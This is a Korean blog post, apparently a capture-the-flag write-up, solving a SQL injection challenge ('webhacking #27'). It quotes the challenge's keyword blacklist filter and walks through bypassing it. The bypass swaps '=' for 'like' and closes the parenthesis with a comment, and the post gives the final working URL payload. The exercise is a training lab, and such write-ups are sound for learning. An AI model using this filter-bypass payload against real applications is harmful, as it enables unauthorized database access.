일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- vigenere cipher
- Fortran 90
- Python
- assembly
- 카이사르 암호
- webhacking
- BASE64
- Javscript
- Mail Header injection
- burpsuit
- AVR
- aslr
- sha1
- base32
- overthewire
- Navajo alphabet
- Linux
- sql injection
- cookie
- base16
- 시저 암호
- Caesar Cipher
- JavaScript
- Masonic Cipher
- php_extract
- reversing
- Qrcode
- Pigpen Cipher
- 비즈네르 암호
- Web Hacking
- Today
- Total
My Drive
webhacking #27 본문
webhacking #27.
sql injection 문제 이다.
소스는 아래와 같이 주어져있다.
여기서 우리가 살펴볼 부분은 GET방식으로 no를 넘기고 있고,
if(eregi("#|union|from|challenge|select|\(|\t|/|limit|=|0x",$_GET[no])) exit("no hack");
위와 같이 #, union, from, challenge, select, (, 탭, /, limit, =, 0x 를 필터링 하고 있다.
"select id from challenge27_table where id='guest' and no=($_GET[no])"
쿼리문을 위와 같이 날리고 있고, 우리는 여기서 admin이라는 값이 반환되도록 해야 한다.
아래와 같이 1을 입력하니
no=1이 넘어가며 guest가 나온다.
DB의 구조는 전과 비슷하다고 볼 수 있다.
no | id
1 | guest
? | admin
admin 이라는 값이 반환되기 위해
"select id from challenge27_table where id='guest' and no=($_GET[no])"
에서 no를 1이 아닌 임의의 값으로 주어 guest가 반환되지 않게 한 후,
뒤에 추가로 admin을 반환하게 하도록 하면 된다.
아래와 같은 방식을 생각해 볼 수 있다.
no에 임의의 값을 넘기고 괄호 짝을 맞추기 위해 닫는 괄호 ) 를 써준다.
그리고 뒤에는 admin을 반환할 수 있도록 no 를 넣어준다.
= 기호가 필터링 되어있으므로 like로 대신한다.
1이 guest이므로 0이나 2가 admin임을 짐작해 볼 수 있다.
몇 번 시도해보면 2번이 admin임을 알 수 있다.
"select id from challenge27_table where id='guest' and no=(3) or no like 2 -- )"
주석 뒤에는 공백을 꼭 넣어주어야 한다.
?no=3)%20or%20no%20like%202%20--%20
'writeup' 카테고리의 다른 글
webhacking #31 (0) | 2014.11.12 |
---|---|
webhacking #20 (0) | 2014.11.12 |
webhacking #19 (0) | 2014.11.11 |
xcz #11 (0) | 2014.11.05 |
xcz #13 (0) | 2014.11.05 |